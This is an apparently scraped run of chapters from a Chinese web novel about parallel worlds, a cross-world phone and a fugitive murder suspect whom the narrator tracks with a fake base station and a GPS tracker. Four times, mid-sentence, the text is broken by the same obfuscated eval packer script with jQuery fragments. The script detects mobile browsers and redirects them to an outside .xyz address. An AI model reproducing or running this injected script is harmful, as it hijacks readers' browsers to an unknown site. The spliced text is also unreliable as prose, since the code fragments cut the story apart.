“怎么说?” “昨天晚上你在加班的时候,你猜他在办公室和我说了什么?” “说了什么?” “他说小梁你最近很叛逆。” 我沉默了。小秦的话里没有她自己表态,我也没有办法判断她此言的真假,但“叛逆”这个词,确实很像冯总的作风。 我继续沉默着等小秦继续表述。她摇了一下我的胳膊:“你怎么没有反应,他这不是很奇怪吗?” “是挺奇怪的。但我已经叛逆了半年多了。”吸管已经在我绞尽脑汁的思考之下,被咬得扁扁的。 趁着电影还没开始放映,大段大段的广告还在一个接一个地端上来的空隙,小秦恨铁不成钢的表情在脸上转了又转,憋了一肚子的话被我拦截在喉咙口没有说出来的样子。脸涨得红红地把手机拿出来划拉了几分钟,还是没忍住放下来,倾斜着上半身凑到我侧脸边上:“哎呀,等电影看完了我再跟你仔细说。” 影院的灯暗下去,我这才知道今天这场电影的片名:《无线追踪》。 讲述了主角借助一个教授和他的团队的研究,追踪并且侦破了一宗杀人逃逸的案件。 开始的时候没有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458204|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么感觉,等听多了,这个姓“艾”的教授总感觉名字十分熟悉,这个名字每出现一次我就跳戏一次,在脑海里搜罗这个名字在哪里出现过。 这个姓氏在我有限的人际关系网里并没有几个。 等到我快要对这个名字脱敏的时候,猛然想起来之前在小手的通讯记录里见过。我的脑子里就跟劈过来了一道闪电似的,电得我瞪大了眼睛盯着电影荧幕。 在教授的团队里寻找熟悉的面庞。 这听起来十分可笑,这是一个虚构的电影,我在这样一个虚构的故事里找一个前天晚上还在我家睡觉的男人的脸。 关于剧情我已经不太记得清看了个什么东西了,我的注意力全在荧幕每个角角落落的人脸上徘徊。 直到接近电影尾声的时候,在一场表彰大会上,艾教授站出来发表讲话,他将自己身侧的一名年轻人推至前进一步,着重感谢起来以这个年轻人为代表的团队的贡献。 我终于如愿以偿地听到了“柏青”这两个字。 “柏青,哈哈。”我朝后仰去,整个人摊在绵软的椅子里。 电影里这个叫“柏青”的演员,长着一张和小手完全不相同的脸。 我脑海里的小手,虽然一样戴着眼镜,但是读书人的气质更灵活一些,眼镜于他而言,是看清事物的工具,但在我眼里那就像是一个装饰,是停在书本上的一只蝴蝶。摘掉眼镜,小手仍然像一本书。 影院的灯骤然亮起,耳边传来小秦的声音:“走啦!看这么入迷吗?” 我匆忙收回神,在小秦的拉扯下走出影院。趁小秦去上厕所的时候,我在手机上疯狂搜索导演编剧和演员表的相关信息,甚至思考起有没有办法要到编剧的联系方式,我要问问他这部电影还有没有续集。 小秦从卫生间出来,又自然而然地将一只胳膊从我的臂弯空隙里钻进去,定好了目的地地将我向那边牵引:“走,我们找个咖啡店坐一会儿。” 我想,我是需要一杯咖啡,让我的大脑能维持高速的运转,直到明天早上。 我们在咖啡店里找了个靠角落的地方坐了下来,小秦见我木讷呆板的模样大概是以为我不想来咖啡店,问我:“不然要去吃点东西吗?” “不用,我这会儿吃晚饭不消化。”是吃了饭,碳水会影响我思考。 小秦闻言安心坐下来,把手机扣在桌上,两只眼睛炯炯发着光,两条眉毛却在鼻端折出两个角,显得脸颊也鼓鼓的,她直言道:“我觉得冯总对你有意见,对我也有意见。” 我强行把思路从关于“柏青”拧到关于“冯总”这条线上,回应小秦:“你是说他不给我们涨工资吗?” “也不光是这个。”她想了一下,讳莫如深地压低了嗓音,“冯总有没有跟你说过我什么不好的地方?” “他怎么会和我说这个。”我轻笑出声,小秦太好玩了。但我脑子里很快又想:那冯总为什么会和小秦说我“叛逆”? 我抿上一口咖啡,死脑子,快想,我漏掉了什么细节。 24. 梁上燕柏青-612.28 梁上燕6月28日周六多云 聚餐的时候小秦为什么会直接拉着我去坐冯总的车?他俩又为什么前后脚回到公司?我出去之后他们到底在里面说了什么? 我不适合做推理题,我只会瞎猜。 瞎猜就会误伤人。于是我停下了思考,等我发现他们在干什么对我不好的事情再说。如果他们只是背后偷偷说我坏话,那我也管不着。 小秦急于和我达成统一战线:“你难道不觉得奇怪吗?” “奇怪什么,他是老板,想什么是什么。”咖啡喝下去了一大半,我多此一举地拿勺子在杯子里搅来搅去。 小秦没有得到我的认同,泄了气地向下一沉。 我宽慰她道:“你别想太多,冯总没跟我说你的坏话。他没事挑拨员工干什么,他是长舌?” 没准他就是个长舌,知人知面不知心。他还拿这话教育过我。 见小秦仍然闷闷不乐的样子,我将咖啡喝个干净,振了振肩膀:“我们无产阶级要联合起来,你别受冯总影响,就算冯总对你有意见不也还给你涨工资了。” 此话一出,我就知道我说多了。 小秦脸上一红,嗯嗯两声:“你看到啦。” 我只能点点头。她也飞快地抿上一口咖啡,放下时脑袋向我这边靠近了些,说:“就两百块,算什么涨工资。你不要告诉别人。” 她又说要请我去楼下的餐厅吃晚饭,我推脱了两下,不能让她涨的两百块给我一口气吃掉不是? 回家之前,小秦已经忘记刚刚和我谈心时的纠结忸怩,快活地仿佛这是一个完美的周六,握着我的胳膊晃一下再松开,咧着嘴朝我挥手道别,说周一见。 我也同她挥手。然后扭头去负一楼买两个面包当晚饭。 付钱的时候手机震动了一下,我一看来电显示,付款码也不翻了,立马跟店员说面包不要了,走到一旁接起电话。 电话那头断断续续,听不出一个完整的句子,我以为是负一楼信号不好,又奔跑着找楼梯上去。 等我到一楼的时候,电话已经断掉了。 这通来自小手的电话就像一个恶作剧。 回到家一进门我就打开了电脑,搜索起关于这部电影的信息。就凭相同的名字和职业,我还不能把这个角色和小手画等号,我需要更确切的联系。如果找不到更多的信息,我就要去二刷三刷这部我并不十分感冒的电影了。 因为是在映的关系,关于剧本的更多细节我尚不能找到。 我甚至想发消息给做过电影美术的老同学,问问她能不能联系到这个剧组。但我转念一想,我到底想知道什么,就算我得知了这就是小手的世界原型,又能怎么样,我又不能穿进去把小手揪出来,让他把平板还给我,让他给我做早饭。 他像所有短暂绚丽的烟花一样,炸完彻底消失了,留下一个不能用的手机当烟壳。 我得到了短暂的放肆和欢愉,还不用戴上任何的道德枷锁,我也不亏。 想到这里,我紧绷的身体便放松开来,点开手机开始用短平快的网络信息轰炸我的大脑。 附近那家被抢劫的首饰店的营业员抢救无效宣告去世了,但凶手仍然没有抓到,在当地网上引起了不小的恐慌。这年头,竟然还会发生入室抢劫的事情,我除了感叹一声“坏人真坏”之外,也只能多拧两圈我家门上的安全锁。 我爸大概也是看到这条消息了,在家庭群里转发了一条报道,又at我让我注意安全。我回了一个收到。 又刷了几分钟手机,我竟突然觉得无聊起来,之前一个人的时候我可从来没有觉得无聊过。在好友列表里从上拉到下,想找一个能聊一会儿又不冒昧的朋友。 只能是你了,程可。 程可今天和她的搭档又出去找线索,顺便到处玩耍了,还问我还着不着急要今天的线索了。 我说:不用了,不着急了,你们慢慢找。 程可:你今天干嘛了? 我:看电影去了。 程可:和谁! 我:女同事。 程可:那你不找我去看! 我:明天和你再去看一遍。 程可:那不行,我明天还要继续去找线索。 我:大明星,找你要预约。 程可:嘻嘻。 熄了手机,躺着躺着把我给躺到睡着了,真是不顶用的咖啡呀。猛然一睁眼,看时间已是凌晨两点,洗漱完之后却怎么都睡不着了。 我想我得找点兴趣爱好了,不能每天一回家除了睡觉就是在摸手机。 于是我找了许多参考,滑冰滑雪太危险了,打羽毛球网球太累了,攀岩潜水不现实,我还能干点什么。我坐在电脑前面转笔,转着转着就想我画画可以学着画画吧。 那就从明天再开始,还要去买工具呢。 今天先躺下吧。 柏青12月28日晴 今天天气还不错,我把被子厚衣服都翻出来摊在阳台上的晾衣架上晒,但终归是冬天,再好的太阳也还是太软弱无力。有点想念夏天。 算起来还有不到一个月就该过年了。年前我该给教授汇总一下项目进度。 但在做PPT之前,我得先去买个花瓶,否则刚买的花就要被扔垃圾桶了。 我下楼后,习惯性地走向停车场,直到站在车前,才想起我不再开这辆车的决定。 不能一直不开这辆车吧,它会坏掉的。 我拉开车门,爬上了车,两天没开,手痒得很。我就去买个花瓶而已,也用不了多久。 虽然我很宝贝这辆车,但我也从来没有用这么谨慎的态度开过它,连转弯的时候我要提起精神,防止这个弯拐过去之后就会出现一面墙。 当我正常驾驶车辆行驶在正常的道路上时,喜悦和沮丧并存。 我会打游戏上瘾,会开车上瘾,会对画画上瘾。 我把新买回来的花瓶放在桌上,庆幸我会压制住这些嗜好,生活会回到正确的模样。 白屏又想来蹬花瓶下桌,我指着它发出警告,他就来挠我的手。我狠狠揉了两下它的脑袋,又把它抱到怀里,尽管它不情愿。 下午一点多,接到一个电话,警方果然找过来了,要跟我了解一下关于李营的一些情况,说等会就上门。 我把二十一号那天的事情一五一十地交代了一遍,然后略去了在另一个世界碰到了李营的事实。 无论如何,我也不想被当作异想天开。在那边遇见李营的整个过程,对这个案件也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458205|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会有什么有效的进展。 之前有一次案件的时候,因为教授的关系,陈警官和我有过接触,他还记得我。例行问话做完笔录之后,问了教授的好,也没有多说什么。 我问他:“确定了李营是凶手吗?” 出于公务原因,陈警官没有回答我的问题。 “有机会再跟你们合作。”他戴上帽子,出门离开。 对此,我也只能坐在家里等一个公告结果。我没有办法联系李营,他也没有办法联系我。 不知为何,我心里萌生出一种实验的想法。我下楼去车上把画画给的手机翻了出来,带回楼上。 我还记得李营在那边时给我留的电话号码,心里有点慌张,手也有些发抖,我把号码输进去,点拨打。 电话神奇地没有第一时间断掉,响了一声半。 我敢确定是一声半,那半声分明是被人掐断的。 我盯着这部手机发呆,没有过多久,这手机便发出让我熟悉的来电报号声。那一刻,我的大脑有两秒钟是停止了思考的。 我凝神将号码听了个全,是我刚刚拨过去的号码,伸手将接通键按下,放置耳边。 李营的声音从那头传了过来。 “喂?是柏青?”他声线压得很低。 “是,”我突然理直气壮起来,“你做了什么?” 他并不回答我的问题,自顾自地说:“你果然也回来了。” “什么意思,你发现了触发穿越的关键因素吗?” 他仍旧不回答我的问题,在电话里也压不住笑声,得意地喊了一句:“无敌。”便将电话挂断。 我再度拨过去,他开始不接了。非常怪异。 很生气,但又找不到发泄的途径。 我开始在纸上整理思路: 将我的世界算作A世界,画画的世界算作B世界,这边的手机算作A1、A2、A3……那边的手机算作B1、B2、B3…… A世界里的B1和A世界里的B2可以通话;B世界里的A1和A世界里的A2不可以通话。 嗯…… 那么理论上,B世界里的A1和B世界里的A2也可以通话;A世界里的B1和B世界里的B2也不可以通话。 我握着笔在纸上点了两个点,然后拿起画画的手机给她打电话。 电话拨出去了,我精神为之一振。 尤其是电话被接通的那一瞬间,我的脑子又凝固了,然后迅速亢奋起来。 捏在眼前看着的电话被我紧急提起来挂到耳朵边上。 电话那头却并不能听到我所期待的画画的声音,沙沙的,更像是我回来那天听到的没信号的无线电。 这劣质的信号很快就自己断掉了。我的眼神又回到了纸上最后一句话: A世界里的B1和B世界里的B2不可以通话。 我把“不可以通话”划掉了,改成了可以接通,但信号不好。 看着这个“可以接通”,我感到一阵莫名的心脏跳动,全然忘记了刚刚李营那通电话给我带来的又怪又气。 白屏又在客厅扒拉花瓶,但是花瓶太重了,小猫咪推不动。那一束被我重新修剪了一下的康乃馨,在斜照进来的落日余晖下,闪闪发光。 25. 柏青-1.45 柏青1月4/5日晴 从那天接到李营的电话,打通画画的电话之后,已经过去好几天了。 连元旦的假期也过去了。 我每天都给这两个家伙各打一通电话,一个不接,一个信号十分不稳定,有时候打不通,有时候打通了也都是听不清对面有无说话。 除了工作之外,我多的这项日常,放在从前的我眼里,都能称之为可笑的无用功。 画画的电话打不通是我意料之中的,李营的电话打不通是我想不通的。 我不知道他到底在干什么。这么久了,警方也没有交代那件凶杀案的最终审判如何。 李营还没有被找到。 他还带着他妈妈,是怎么做到不被发现行踪的。反侦察意识强到这个地步了吗? 照理说,他手上的那部手机,能打通的也只有画画给我的这部手机的电话号码。 这两部手机又不会被查到,他是怎么忍得住不向我求助一些金钱或者食物的? 他可真是有本事。虽然做学问不行,实战却是高手。 在我们两人手上的这两部手机欠费之前,我势必要让他再接我一通电话。 但我也只能一边说狠话,一边增加每天拨打李营电话的次数。 有时候他会放任手机响到自动挂断,有时候他会提前掐断。没有什么规律。 今天中午我像前几天那样给李营打电话的时候,电话竟破天荒地被接起来了。 我说:“李营。” 对面沉默不语。 “李营,你人在哪儿?” 对面依旧没有人声。只是传来一阵衣物摩擦的声音。应该是衣物摩擦的声音,我找不到其他更贴近这种柔软的“沙沙”的声响。 等了一会儿,有对话声依稀传过来。离电话应该是有些距离,并且一个声音近些,一个声音远些。 “你能不能不要一天到晚哭丧着脸,你有什么好埋怨的?”是李营。 靠近电话这头的人,忍了很久的静默后,发出夹在嗓子里又紧紧闭着嘴的呜咽。 两声后又被李营气势汹汹地喝止了:“哭什么?现在不比以前舒坦吗?有吃有喝,除了住得差点,你还有什么不满意的?” 那哽咽声便小心翼翼起来,极力地压制着,又从嘴角忍不住露出了一两声。 终于在一串渐行渐远的脚步声后,藏在喉管里的哭声放肆地“哇”出来,又连忙捂住了嘴,又大声又小声地哭着。 我想听李营妈妈接起电话跟我讲些什么,但她想起这个被接通的电话之后,就将电话掐断了。 没能让我在这次机会难得的联络中获得多少有效信息。 如果警方一直找不到李营的话,我也许会考虑将画画的手机提交上去。虽然会给我带来很多麻烦。 项目投资谈得很顺利,我在养瓶插鲜切康乃馨方面也逐渐小有心得,那束花在我家盛开了已有一周之久,仍然很有活力。 在李营这件事以外的其他所有,都跟新年的气象一般蒸蒸日上。 偏偏这一件不顺利的事情,叫人放不下。 中午我正在阳台上发呆,画画的手机又开始播报来电。 李营居然主动打电话过来了,我一接起来,他就质问我:“我妈接了你打的电话?她跟你说什么了?” 我想了想,要是我说不出什么东西来,他肯定立马就把电话挂了,于是决定炸他一下。 我说:“你妈妈说她想去自首。” 电话里传来一声冷笑:“自首什么?她好日子这么快就过腻了?我告诉你,你少打电话过来动摇她。” 李营虽然从前看起来就不是什么纯良之辈,但现在的声音听起来更有一种凶狠的劲儿。要是现在拍板和我说,他就是杀人凶手,我也不会有太大的怀疑。 他的语气里充满了愤恨和得意忘形。 “我没动摇她,是她自己说的不想这辈子就这么躲着过日子。” “你以为她以前不躲着过的就是好日子吗?她……”李营大概是觉得说得太多了,及时刹住了车,“柏青,你要是还想这么舒坦地当你的社会精英,你就少管我们的事,不然我有的是办法把你再送到另外那个世界去当黑户,让你一无所有。” 他果然知道了是怎么发生的穿越。 “好吧,那你们需要钱或者什么生活物品吗?” “不需要,你少打探我们在哪里。”他又率先挂断了电话,素质真差,我问题都还没问完。 如果李营手里的手机是我这个世界正常的手机,我有几百种办法把他拎出来,可惜那块跨时空的手机,这就让我不确定,如果我用这个世界的零件搭建出来的伪基站,能不能引诱到李营的连接。 但我还是得试一下,毕竟通话规则都不符合我的预期。也许这也能行得通。 于是我便开始着手准备需要的设备。好在专业对口,还有部分的设备有现成的,连被无线电管理部门侦测到后的借口都十分方便编造——这是我们新项目的研究方向。 整个流程我可以控制在五个小时之内,今天就可以完成。 但等待李营上钩的时间就不能预测了,甚至很有可能是遥遥无期。并且我还不能一直运行这个伪基站,只能每天在某个时间点短暂地运行一下,因为运行期间被覆盖到的所有正常通信都会被中断。 我大概率只是在大海捞针。但好过什么也不做。 显示屏被我放置在了桌面正中间,我特地标记了李营的电话号码,防止我自己看走眼。 搭建完毕后,时间正好是下午五点,只花了四个小时。由于是件缺德事,我壮着胆子只运行了两分钟,然后就关闭了。 这两分钟的结果不言而喻。没那么容易。 等明天再试试。 第二天一早我就想开机运行一下,想想不能太招摇,不如定点伪装成是通信运营商的问题来得好,就决定憋到下午五点。 并且我得去公司露露脸了,教授说我居家办公的次数太多,同事马上就要认不得我了。 我知道他是在提醒我注意维护一下同事之间的关系,几个师门兄弟之间还好,但是关系没有那么密切的同事面前,还是要注意一下影响,尤其是年后空降了一位雷厉风行的副科长。 昨天我没去公司,就没和她打照面,师兄说这位新副科点我的名了,又听到我没在单位,撅着的嘴能犁二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458206|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里地。 今天要是再不去签到一下,怕给她留下的印象太差,日后的文件报告什么的获批要上难度。 是的,我以后的文件类材料,要先经这位副科长的手。 我到公司的时候还很早,只有两个师兄在里面,两颗脑袋聚在一处,不知道在看什么看得眉飞色舞。 我从他们身后也把脑袋凑过去,看到大师兄手里捧着本期刊,上面印着一张照片,下面一串文字。照片中的女人非常的……让我想一个词语形容一下,大概就是知性?穿着打扮很优雅得体。下面的文字开篇就是她的履历介绍,我一眼瞄过去,洋洋洒洒,非常辉煌的过去。 “文铮是谁?” 两位师兄被突然出现的我吓了两跳,手里的期刊差点就甩出去了。 “来了也不先打声招呼。”大师兄把手里的期刊那一页举着朝向我,点着那张照片说道,“你快把这张脸记下来,等会她来了你就第一个冲上去叫她‘科长好!’然后恭恭敬敬地自我介绍一下。” “新科长长得很温柔,但据昨天的观察脾气不大好,你好好解释一下昨天为什么没来吧。”另一个师兄也给我打预防针,“这跟师父可不是一个量级的,没那么好说话。” “这么严重?”我怀疑地在两个师兄脸上徘徊,以确认他们不是在给我下套。 “你解释好了不严重,解释不好就严重了。” 我半信半疑地坐回我的位置上去。同事们陆陆续续地到班,这位文科长也很快就来了,一点没迟到。 我看到她进来了,心里有点打鼓要不要冲上去进行一番自我辩驳,师兄们也在角落里疯狂给我使眼色,叫我上。 那就上吧,不能让教授以后也不好做人。 可是我刚站起来,还没有开口,这位文科长就拿手点了我一下,随即开口道:“柏青是吧?你到我办公室来一趟。” 我朝两位师兄望过去,他们做出悲痛欲绝的表情出来,仿佛我即将去赴死一般的绝望。 我去的时候,文科长办公室的门是没有关的,这就导致我进去之后,在要不要把门关上这个问题上犹豫不决。 文科长说:“你先坐。” 我哪里敢坐,但我又哪里敢不坐,我只敢坐椅子的前三分之一。 我坐下之后,文科长放好了自己的包,又站起来亲自去把办公室的门关上了。 你看这事闹的,早说关门我随手就关好了。 我惴惴不安地等待批评。 文科长走回办公桌后坐下来,一边流畅地开机,轻点桌上的工作日志等等一系列准备工作,一边和我问话:“艾教授是不是批准你居家办公不用提前打报告?” 我说:“是的。” 别看我嘴上说得理直气壮,但我还是有些害怕文科长要取消我这一特权。可能是因为我潜意识里,还有一种我会再去到画画那个世界的感觉,如果不能经常性地居家办公,那对我来说太不方便了。 “我不反对你居家办公,但你至少每周得来公司两次,把你的工作日志交上来,好吗?”文科长的眼睛看着就像一双聪明人的眼睛,完全不死板。 我对这位新领导的第一印象还不错。 26. 柏青-1.56 柏青1月5/6日晴 一周提价两次工作日志的要求,我觉得确实不过分。 我点头表示同意。 文科长又问我道:“据我所知,最近有一起案件跟你有些许关联,我需要跟你确认一下,那件事对你有没有产生什么不良影响,进而会不会对公司产生不良影响。” 文科张的人脉也是可以的,这么快就知道了我跟李营的案子有点瓜葛。 只是这事的不良影响我无法估量。我只能告诉她,目前没有什么不良影响,于我和于公司而言,皆是如此。 走出办公室师兄就凑过来关心我有没有挨训,我小声问他:“你的情报是不是有点问题,我看文科长脾气挺好的啊?” “什么?没说你吗?我昨天帮你辩驳了两句,她白了我一眼,说部门里禁止粉饰太平。我长这么大,可没被人翻过白眼。”师兄在我旁边碎碎念。 我说:“我也给你翻一个,你练一下耐受。” 下午下班回去的时间已经过了五点,我定点运行伪基站的计划刚开始实施,就破裂了。我要将之后的运行时间都改到晚上七点。 七点的时候,我正要按下开机,画画的手机响起来,李营居然再一次打来了电话,我的七点计划又被打乱了。 这次我没有主动开口说话,我知道他肯定是要用我了才给我打电话的。 “柏青,帮我办个事儿,”他吊儿郎当的语气里没有一丁点求人的诚恳,“帮我搞点医用绷带、止痛药、抗生素什么的。” “谁受伤了?” “这你别管。” “你妈妈受伤了?”知道他搞不到抗生素,我就像拿捏住了他的七寸一样张狂。 “少废话,快点的,急用。” “我怎么给你呢?” “你包好了放到城西奔盈桥桥东向西左侧第一个花坛里,我自己去取。” “警察找过我的,你知道吗?” 他哼哼一声:“我不知道,但我猜到了,你只管放,只要你不卖我,我被抓到就跟你姓。” “那我要是卖了你呢?” “那个世界,花苑小区。”李营漫不经心又无情地报出画画住的地方。 我咬着牙,手机都想捏碎了。把窜上头顶的火气使劲向下压了压,才开口:“那我后天上午放到你指定地点去,你那个时间之后去拿。” “明天就要。”他完全不管我搞来抗生素废不废劲,“最迟明天下午一点。” 看来他那边的情况确实不是很能拖的样子。明天下午就明天下午,我答应了他。 他挂电话之前不忘出言警告我:“你别整什么花活儿。” 这台伪基站算是白装了,但暂且先不拆了吧,好歹也花了我四个小时,留着以后万一真往这个方向研究。 我还恰好有抗生素的获取途径。前几天我爸在家闲得无聊,把一辆老旧的自行车掏出来自己修,被后轮上面的铁片划破了手,刚去打了破伤风的针,处方还在。 回家拿完处方,再去药店买药,再辗转到城西,一上午的时间正好也差不多了。 李营要的东西被我装在透明方便袋里,外面又裹了一层报纸,找到那片花坛,将整包东西埋进花丛里去,不伸手拨开花叶,从哪个角度看上去,都不能看到里面藏了东西。 因为要跑的地方比较多,况且我心里已经有了“穿越的关键因素在李营手上”这个假定,便把车开出来了。 放完东西之后,我就钻进车里,在不远处等着李营来取,届时我再跟着他。为此我还特地穿得厚了一些,围巾帽子口罩统统都整上了,反正是冬天,也没有很奇怪。 我在车里从十二点半一直等到两点半过后,有个骑着摩托车的年轻男孩子把摩托车停在路对面,身形模样显然不是李营。 他下来在那边的第一个花坛里摸索了一阵子,两手空空地挠着头,又去摸第二个花坛。 李营找的人记性不大好啊。 接连找了三个花坛,他才小跑着奔到这边来,在我放东西的那一个里把包裹取到手。 他两腿夹着摩托车就去给李营复命去了。幸好我是开车出来的,不然还真追不上。 绕了两条路,他的摩托车减速了,我知道接头的李营要出来了,心情还有些激动,第一次干跟踪的活计,还挺成功。 这个男孩子停下车,单脚撑着地,从小巷子里走出来一个人,却不是李营。是另一个男孩子。 这个男孩子二号是步行来的,拿了东西后转身又钻回巷子里去了。 这种小巷子又窄、里面又错综复杂,我在外面完全无法预判他会在里面朝哪个方向拐弯。 小看了李营的反侦察意识。 不过,我把定位器放在包裹里了。 小红点在我的手机里缓慢移动着,在巷子里穿过后他到了大路上,不知道是上了车还是再次换人了,移动速度突然加快起来。 没过几分钟又回到了奔盈桥,并彻底停了下来。 李营他一直就在奔盈桥附近看着我,知道我没有离开,才找人去帮他拿东西。 如果他此时打开包裹,他马上就会发现包裹里多出来的定位器,也许他很快就会转移阵地。我得赶紧回到奔盈桥。 我在奔盈桥西这面没有看到李营,又绕到东面去,车速很慢,生怕漏看了路边的哪个角落。 接过东面也没有,我正打算掉头再回桥西找一遍,从桥侧向下的楼梯处,一个弯着腰的身影站直了起来,露出一个头和半个肩膀。 随后我听到“扑通”一声,他把什么东西扔进河里去了。 日光在某一瞬间打在那物件上,反射出刺眼的光,我只能在它落水的前一秒捕捉到它的大概轮廓和颜色。 是一把刀。上面血迹斑斑。 我立刻推门下车,想上前去确认李营干了什么。但在我下车后,我人已经不在奔盈桥了。 周围十分陌生,陌生得让我有些熟悉,熟悉得让人冒汗。 那个离开时的公园,原来在不下雨的时候也没多少人,哦,按照推算,今天是周一。 四下小跑着找了一遍,李营并不在附近,估计他也在上次穿回去的地方。 由于运动、由于兴奋,我的厚围巾和帽子更让我呼吸不顺畅了,于是脱下来扔回车上,这辆车仿佛也被绑定在这个诡异的来回穿越里了,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458207|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道该不该笑。 画画的平板和笔记本还在车后排上,她家的门钥匙也夹在里面,我可以直奔她家。 唯一遗憾的是,手机还在我自己家里,没办法给她提前打个电话。 我还记得去画画家的路该怎么走。打方向盘的时候不带一丝犹豫的,仿佛我本来就是这个世界的人,我本来就是这个城市的人,我本来、就是住在画画家的人。 连门口的门卫都还记得我。 拧开画画家的门,屋里的空气里有一股熟悉的洗衣液的味道,我换了鞋直奔阳台上的洗衣机。 果然,画画早上出门前洗了衣服,现在正在洗衣机里湿哒哒皱巴巴地团成一团。 我给她晾起来之后,在屋子里转了一圈,一切陈设和我脑子里的记忆慢慢重合,就是比我走的时候乱了一些。 我走到客厅去,餐桌上的花瓶里插了一束新的花,却不是康乃馨了,变成了一束玫瑰,但依旧是红色的。 我愣了一下,我还没有学习过玫瑰的鲜切养护知识。有机会再恶补一下。 看了一眼时间,画画大概还有三个多小时下班,我可以先准备晚饭。 一拉开冰箱,冷藏室里好几个长了毛的食材看得我浑身发痒。 我还是先把画画家里打扫一下吧。 推开画画卧室的门,里面有一股奇怪的味道,往她的桌上一瞧,便看到整张桌子堆得乱七八糟,几乎没有空着的地方。 散了一桌的颜料、调色盘、画纸和笔刷。笔刷东一支西一支,地上一支,还有两支揣在一个洗笔的筒里,笔筒里的黑水也没倒,即便它是是昨天晚上的,它也不新鲜了。 几张画纸上的创作,充满了艺术性,而我正好是看不懂艺术的。 红红的一片,可能是桌上的玫瑰花?就是分不清哪朵是哪朵,全都粘连在一起了。 连下面那张人物像,我也分辨不出是什么具体的面目。我觉得我能认出这是个人物像已经很不错了,因为画画只画了一个脑袋,耳朵都没有。 我把她的大作收起来,压在一本书下面。我都不敢给她扔了,万一真的不是画画的水平不够,而是我的水平不够,把大师的作品当垃圾处理了,要为这个世界的后人所唾弃。 一个多小时打扫完毕,视觉上就舒服了很多。正好还有一个多小时做晚饭。 画画回来得仍旧不是很早,按照她之前的说法,月底加班的时候会晚一点到家,但是现在已经月初了。 她是不是出去约会去了,在我不在的这短短十天里,也许就会发生翻天覆地的变化,你看,我连画画开始画画了都不知道。也许她也将我抛诸九霄云外了。 那我这样贸然进入她家会不会很不好?她会不会同样带着一位朋友回到家,然后撞见我这个不速之客后,气恼我给她带来的巨大麻烦。 我从凳子上弹起身,在客厅里彷徨地来回走了两遍同样的直线。对于这种不确定,说不出我心里的这份恐慌来得有多排山倒海。 然后我就顿住了,大气也不敢喘。我听到外面有脚步声响起来,听到钥匙插进了锁孔,听到钥匙在拧动门锁,这些声音像开着扩音器在我的脑子里炸开来。